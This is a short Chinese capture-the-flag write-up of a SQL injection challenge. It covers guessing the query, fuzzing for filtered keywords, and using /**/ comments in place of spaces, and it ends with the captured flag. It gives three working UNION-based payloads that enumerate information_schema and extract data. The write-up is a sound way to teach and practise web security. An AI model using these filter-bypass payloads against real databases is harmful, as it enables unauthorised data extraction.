首先输入1,发现有将数据库的查询结果显示出来
输入单引号,发现错误,这时候可以猜测后台查询语句:select name from table where id=‘xxx’;
可以先尝试万能密码 ‘=’ 查询语句就变成
select name from table where id=’’=’’;
会把所以结果都显示出来一共三条记录
接下来继续测试,输入’=‘select,或者’=‘or等等发现仍然能显示三条记录
然后直接用burp进行fuzz看看那些敏感字符被过滤了
fuzz完后你会发现’or’,’#’,‘union’,‘select’,‘where’,‘and’,空格 都过滤掉了
既然空格被过滤了,在SQL注入中,可以拿来当做间隔用的还有/**/
直接payload
'union/**/select/**/table_name/**/from/**/information_schema.columns/**/where/**/'1'='1
利用information_schema.columns表查询出所有表,其中发现flag表看似应该会有flag值
紧接着下一步就要查询flag表有什么字段了。
payload:
id='union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag
查询发现flag表有两个字段flag和id
最后直接查询flag值
payload:
'union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
终于皇天不负有心人
flag{Y0u_@r3_5O_dAmn_90Od}